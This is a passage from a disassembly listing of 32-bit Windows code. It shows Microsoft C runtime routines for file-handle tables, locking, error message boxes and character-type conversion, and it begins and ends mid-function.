loc_4292A7: ; CODE XREF: sub_429130+16Cj
mov edx, dword_447A20
add edx, dword_447A24
cmp [ebp+var_10], edx
jge short loc_4292CE
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_42929E
; ---------------------------------------------------------------------------
loc_4292CE: ; CODE XREF: sub_429130+186j
jmp short loc_4292D9
; ---------------------------------------------------------------------------
loc_4292D0: ; CODE XREF: sub_429130+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_4292D9: ; CODE XREF: sub_429130:loc_4292CEj
cmp [ebp+var_C], 0
jz short loc_4292E9
push 1
call sub_41BD20
add esp, 4
loc_4292E9: ; CODE XREF: sub_429130+1ADj
cmp [ebp+arg_0], 8
jnz short loc_429300
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_42930A
; ---------------------------------------------------------------------------
loc_429300: ; CODE XREF: sub_429130+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_42930A: ; CODE XREF: sub_429130+1CEj
cmp [ebp+arg_0], 8
jz short loc_42931C
cmp [ebp+arg_0], 0Bh
jz short loc_42931C
cmp [ebp+arg_0], 4
jnz short loc_429334
loc_42931C: ; CODE XREF: sub_429130+1DEj
; sub_429130+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_429334
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_429334: ; CODE XREF: sub_429130+1EAj
; sub_429130+1F9j
xor eax, eax
loc_429336: ; CODE XREF: sub_429130+D1j
; sub_429130+FEj
mov esp, ebp
pop ebp
retn
sub_429130 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_42933A dd offset loc_429168 ; DATA XREF: sub_429130+31r
dd offset loc_4291D3
dd offset loc_4291B9
dd offset loc_429185
dd offset loc_42919F
dd offset loc_4291FE
byte_429352 db 0 ; DATA XREF: sub_429130+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429370 proc near ; CODE XREF: .data:00428FF0p
; sub_429130+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42937A: ; CODE XREF: sub_429370+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_4293A3
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_447A2C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_4293A3
jmp short loc_42937A
; ---------------------------------------------------------------------------
loc_4293A3: ; CODE XREF: sub_429370+13j
; sub_429370+2Fj
mov eax, dword_447A2C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_4293C5
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_4293C5
mov eax, [ebp+var_4]
jmp short loc_4293C7
; ---------------------------------------------------------------------------
loc_4293C5: ; CODE XREF: sub_429370+43j
; sub_429370+4Ej
xor eax, eax
loc_4293C7: ; CODE XREF: sub_429370+53j
mov esp, ebp
pop ebp
retn
sub_429370 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_421920
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4293E0 proc near ; CODE XREF: .data:0042AEA9p
push ebp
mov ebp, esp
call sub_421920
add eax, 54h
pop ebp
retn
sub_4293E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4293F0 proc near ; CODE XREF: sub_41B3A0+2CEp
; sub_428880+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp dword_4DE1B0, 0
jnz short loc_429463
push offset aUser32_dll_0 ; "user32.dll"
call dword_4E037C ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_429437
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
call dword_4E0380 ; GetProcAddress
mov dword_4DE1B0, eax
cmp dword_4DE1B0, 0
jnz short loc_42943B
loc_429437: ; CODE XREF: sub_4293F0+28j
xor eax, eax
jmp short loc_4294A7
; ---------------------------------------------------------------------------
loc_42943B: ; CODE XREF: sub_4293F0+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
call dword_4E0380 ; GetProcAddress
mov dword_4DE1B4, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call dword_4E0380 ; GetProcAddress
mov dword_4DE1B8, eax
loc_429463: ; CODE XREF: sub_4293F0+14j
cmp dword_4DE1B4, 0
jz short loc_429475
call dword_4DE1B4 ; GetActiveWindow
mov [ebp+var_4], eax
loc_429475: ; CODE XREF: sub_4293F0+7Aj
cmp [ebp+var_4], 0
jz short loc_429491
cmp dword_4DE1B8, 0
jz short loc_429491
mov eax, [ebp+var_4]
push eax
call dword_4DE1B8 ; GetLastActivePopup
mov [ebp+var_4], eax
loc_429491: ; CODE XREF: sub_4293F0+89j
; sub_4293F0+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_4DE1B0 ; MessageBoxA
loc_4294A7: ; CODE XREF: sub_4293F0+49j
mov esp, ebp
pop ebp
retn
sub_4293F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4294B0 proc near ; CODE XREF: .data:loc_429942p
; sub_429E30:loc_42A0C9p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_41BC80
add esp, 4
mov [ebp+var_C], 0
jmp short loc_4294DA
; ---------------------------------------------------------------------------
loc_4294D1: ; CODE XREF: sub_4294B0:loc_42967Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_4294DA: ; CODE XREF: sub_4294B0+1Fj
cmp [ebp+var_C], 40h
jge loc_429680
mov ecx, [ebp+var_C]
cmp dword_4DE320[ecx*4], 0
jz loc_4295E6
mov edx, [ebp+var_C]
mov eax, dword_4DE320[edx*4]
mov [ebp+var_4], eax
jmp short loc_42950D
; ---------------------------------------------------------------------------
loc_429504: ; CODE XREF: sub_4294B0+F1j
; sub_4294B0:loc_4295D1j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_42950D: ; CODE XREF: sub_4294B0+52j
mov edx, [ebp+var_C]
mov eax, dword_4DE320[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_4295D6
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_4295D1
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_429579
push 11h
call sub_41BC80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42956F
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call dword_4E0470 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42956F: ; CODE XREF: sub_4294B0+A1j
push 11h
call sub_41BD20
add esp, 4
loc_429579: ; CODE XREF: sub_4294B0+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call dword_4E03A8 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_4295A6
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call dword_4E03A4 ; RtlLeaveCriticalSection
jmp loc_429504
; ---------------------------------------------------------------------------
loc_4295A6: ; CODE XREF: sub_4294B0+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, dword_4DE320[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_4295D6
; ---------------------------------------------------------------------------
loc_4295D1: ; CODE XREF: sub_4294B0+81j
jmp loc_429504
; ---------------------------------------------------------------------------
loc_4295D6: ; CODE XREF: sub_4294B0+6Fj
; sub_4294B0+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_4295E1
jmp loc_429680
; ---------------------------------------------------------------------------
loc_4295E1: ; CODE XREF: sub_4294B0+12Aj
jmp loc_42967B
; ---------------------------------------------------------------------------
loc_4295E6: ; CODE XREF: sub_4294B0+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_4150C0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_429679
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dword_4DE320[eax*4], ecx
mov edx, dword_4DE420
add edx, 20h
mov dword_4DE420, edx
jmp short loc_42962C
; ---------------------------------------------------------------------------
loc_429623: ; CODE XREF: sub_4294B0+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_42962C: ; CODE XREF: sub_4294B0+171j
mov ecx, [ebp+var_C]
mov edx, dword_4DE320[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_429664
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_429623
; ---------------------------------------------------------------------------
loc_429664: ; CODE XREF: sub_4294B0+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_4299C0
add esp, 4
loc_429679: ; CODE XREF: sub_4294B0+153j
jmp short loc_429680
; ---------------------------------------------------------------------------
loc_42967B: ; CODE XREF: sub_4294B0:loc_4295E1j
jmp loc_4294D1
; ---------------------------------------------------------------------------
loc_429680: ; CODE XREF: sub_4294B0+2Ej
; sub_4294B0+12Cj ...
push 12h
call sub_41BD20
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_4294B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4296A0 proc near ; CODE XREF: .data:00429973p
; sub_429E30+379p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb loc_42973A
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_42973A
cmp dword_444ED4, 1
jnz short loc_42971A
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz short loc_4296F2
cmp [ebp+var_4], 1
jz short loc_429700
cmp [ebp+var_4], 2
jz short loc_42970E
jmp short loc_42971A
; ---------------------------------------------------------------------------
loc_4296F2: ; CODE XREF: sub_4296A0+42j
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFF6h
call dword_4E030C ; SetStdHandle
jmp short loc_42971A
; ---------------------------------------------------------------------------
loc_429700: ; CODE XREF: sub_4296A0+48j
mov eax, [ebp+arg_4]
push eax
push 0FFFFFFF5h
call dword_4E030C ; SetStdHandle
jmp short loc_42971A
; ---------------------------------------------------------------------------
loc_42970E: ; CODE XREF: sub_4296A0+4Ej
mov ecx, [ebp+arg_4]
push ecx
push 0FFFFFFF4h
call dword_4E030C ; SetStdHandle
loc_42971A: ; CODE XREF: sub_4296A0+36j
; sub_4296A0+50j ...
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
mov edx, [ebp+arg_4]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_429753
; ---------------------------------------------------------------------------
loc_42973A: ; CODE XREF: sub_4296A0+Dj
; sub_4296A0+2Dj
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_429753: ; CODE XREF: sub_4296A0+98j
mov esp, ebp
pop ebp
retn
sub_4296A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429760 proc near ; CODE XREF: sub_41B730+69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb loc_42981B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_42981B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_42981B
cmp dword_444ED4, 1
jnz short loc_4297FA
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_4297D8
cmp [ebp+var_4], 1
jz short loc_4297E4
cmp [ebp+var_4], 2
jz short loc_4297F0
jmp short loc_4297FA
; ---------------------------------------------------------------------------
loc_4297D8: ; CODE XREF: sub_429760+68j
push 0
push 0FFFFFFF6h
call dword_4E030C ; SetStdHandle
jmp short loc_4297FA
; ---------------------------------------------------------------------------
loc_4297E4: ; CODE XREF: sub_429760+6Ej
push 0
push 0FFFFFFF5h
call dword_4E030C ; SetStdHandle
jmp short loc_4297FA
; ---------------------------------------------------------------------------
loc_4297F0: ; CODE XREF: sub_429760+74j
push 0
push 0FFFFFFF4h
call dword_4E030C ; SetStdHandle
loc_4297FA: ; CODE XREF: sub_429760+5Cj
; sub_429760+76j ...
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_429834
; ---------------------------------------------------------------------------
loc_42981B: ; CODE XREF: sub_429760+Dj
; sub_429760+33j ...
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_429834: ; CODE XREF: sub_429760+B9j
mov esp, ebp
pop ebp
retn
sub_429760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429840 proc near ; CODE XREF: sub_41B730+9p
; sub_41B730+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_42988B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_42988B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
mov eax, [ecx+eax]
jmp short loc_4298A4
; ---------------------------------------------------------------------------
loc_42988B: ; CODE XREF: sub_429840+Cj
; sub_429840+2Ej
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_4298A4: ; CODE XREF: sub_429840+49j
pop ebp
retn
sub_429840 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_4298CD
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_4298CD: ; CODE XREF: .data:004298C2j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_4298E2
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_4298E2: ; CODE XREF: .data:004298D8j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_4298F8
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_4298F8: ; CODE XREF: .data:004298EDj
mov eax, [ebp+8]
push eax
call dword_4E0314 ; GetFileType
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_429922
call dword_4E0350 ; RtlGetLastWin32Error
push eax
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4299B0
; ---------------------------------------------------------------------------
loc_429922: ; CODE XREF: .data:00429909j
cmp dword ptr [ebp-4], 2
jnz short loc_429933
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_429942
; ---------------------------------------------------------------------------
loc_429933: ; CODE XREF: .data:00429926j
cmp dword ptr [ebp-4], 3
jnz short loc_429942
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_429942: ; CODE XREF: .data:00429931j
; .data:00429937j
call sub_4294B0
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_42996B
call sub_4224D0
mov dword ptr [eax], 18h
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4299B0
; ---------------------------------------------------------------------------
loc_42996B: ; CODE XREF: .data:0042994Ej
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call sub_4296A0
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_429A50
add esp, 4
mov eax, [ebp-8]
loc_4299B0: ; CODE XREF: .data:0042991Dj
; .data:00429969j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4299C0 proc near ; CODE XREF: sub_41B6B0+50p
; sub_41FCF0+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_429A21
push 11h
call sub_41BC80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_429A17
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call dword_4E0470 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_429A17: ; CODE XREF: sub_4299C0+39j
push 11h
call sub_41BD20
add esp, 4
loc_429A21: ; CODE XREF: sub_4299C0+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call dword_4E03A8 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_4299C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A50 proc near ; CODE XREF: sub_41B6B0+6Bp
; sub_41FCF0+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call dword_4E03A4 ; RtlLeaveCriticalSection
pop ebp
retn
sub_429A50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A80 proc near ; CODE XREF: sub_41B8D0+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_429AB1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_429AC4
loc_429AB1: ; CODE XREF: sub_429A80+Dj
call sub_4224D0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_429B4E
; ---------------------------------------------------------------------------
loc_429AC4: ; CODE XREF: sub_429A80+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_429B2D
mov ecx, [ebp+arg_0]
push ecx
call sub_429840
add esp, 4
push eax
call dword_4E0308 ; FlushFileBuffers
test eax, eax
jnz short loc_429B14
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_429B1B
; ---------------------------------------------------------------------------
loc_429B14: ; CODE XREF: sub_429A80+87j
mov [ebp+var_4], 0
loc_429B1B: ; CODE XREF: sub_429A80+92j
cmp [ebp+var_4], 0
jnz short loc_429B23
jmp short loc_429B3F
; ---------------------------------------------------------------------------
loc_429B23: ; CODE XREF: sub_429A80+9Fj
call sub_4224E0
mov edx, [ebp+var_4]
mov [eax], edx
loc_429B2D: ; CODE XREF: sub_429A80+70j
call sub_4224D0
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_429B3F: ; CODE XREF: sub_429A80+A1j
mov eax, [ebp+arg_0]
push eax
call sub_429A50
add esp, 4
mov eax, [ebp+var_4]
loc_429B4E: ; CODE XREF: sub_429A80+3Fj
mov esp, ebp
pop ebp
retn
sub_429A80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B60 proc near ; CODE XREF: sub_41FA40+98p
; sub_421FA0+ECp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435700
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE1BC, 0
jnz short loc_429BDE
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_435398
push 1
call dword_4E0300 ; GetStringTypeW
test eax, eax
jz short loc_429BB2
mov dword_4DE1BC, 1
jmp short loc_429BDE
; ---------------------------------------------------------------------------
loc_429BB2: ; CODE XREF: sub_429B60+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_435394
push 1
push 0
call dword_4E0304 ; GetStringTypeA
test eax, eax
jz short loc_429BD7
mov dword_4DE1BC, 2
jmp short loc_429BDE
; ---------------------------------------------------------------------------
loc_429BD7: ; CODE XREF: sub_429B60+69j
xor eax, eax
jmp loc_429D08
; ---------------------------------------------------------------------------
loc_429BDE: ; CODE XREF: sub_429B60+2Dj
; sub_429B60+50j ...
cmp dword_4DE1BC, 2
jnz short loc_429C15
cmp [ebp+arg_14], 0
jnz short loc_429BF6
mov edx, dword_4DE074
mov [ebp+arg_14], edx
loc_429BF6: ; CODE XREF: sub_429B60+8Bj
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_14]
push ecx
call dword_4E0304 ; GetStringTypeA
jmp loc_429D08
; ---------------------------------------------------------------------------
loc_429C15: ; CODE XREF: sub_429B60+85j
cmp dword_4DE1BC, 1
jnz loc_429D06
cmp [ebp+arg_10], 0
jnz short loc_429C31
mov edx, dword_4DE084
mov [ebp+arg_10], edx
loc_429C31: ; CODE XREF: sub_429B60+C6j
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_18]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_10]
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_429C65
xor eax, eax
jmp loc_429D08
; ---------------------------------------------------------------------------
loc_429C65: ; CODE XREF: sub_429B60+FCj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_2C], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_2C]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
shl edx, 1
push edx
push 0
mov eax, [ebp+var_24]
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_429CBB
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_429CBB: ; CODE XREF: sub_429B60+142j
cmp [ebp+var_24], 0
jnz short loc_429CC5
xor eax, eax
jmp short loc_429D08
; ---------------------------------------------------------------------------
loc_429CC5: ; CODE XREF: sub_429B60+15Fj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_429CEE
xor eax, eax
jmp short loc_429D08
; ---------------------------------------------------------------------------
loc_429CEE: ; CODE XREF: sub_429B60+188j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E0300 ; GetStringTypeW
jmp short loc_429D08
; ---------------------------------------------------------------------------
loc_429D06: ; CODE XREF: sub_429B60+BCj
xor eax, eax
loc_429D08: ; CODE XREF: sub_429B60+79j
; sub_429B60+B0j ...
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D20 proc near ; CODE XREF: sub_41FB00+A1p
; sub_420720+137p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_429D27: ; CODE XREF: sub_429D20+2Fj
cmp [ebp+arg_0], 0
jnz short loc_429D4B
push offset dword_4344AC
push 0
push 2Eh
push offset dword_43570C
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_429D4B
int 3 ; Trap to Debugger
loc_429D4B: ; CODE XREF: sub_429D20+Bj
; sub_429D20+28j
xor eax, eax
test eax, eax
jnz short loc_429D27
mov ecx, dword_4DDFDC
add ecx, 1
mov dword_4DDFDC, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset dword_43570C
push 2
push 1000h
call sub_4150C0
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_429DA6
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_429DCB
; ---------------------------------------------------------------------------
loc_429DA6: ; CODE XREF: sub_429D20+69j
mov ecx, [ebp+var_4]
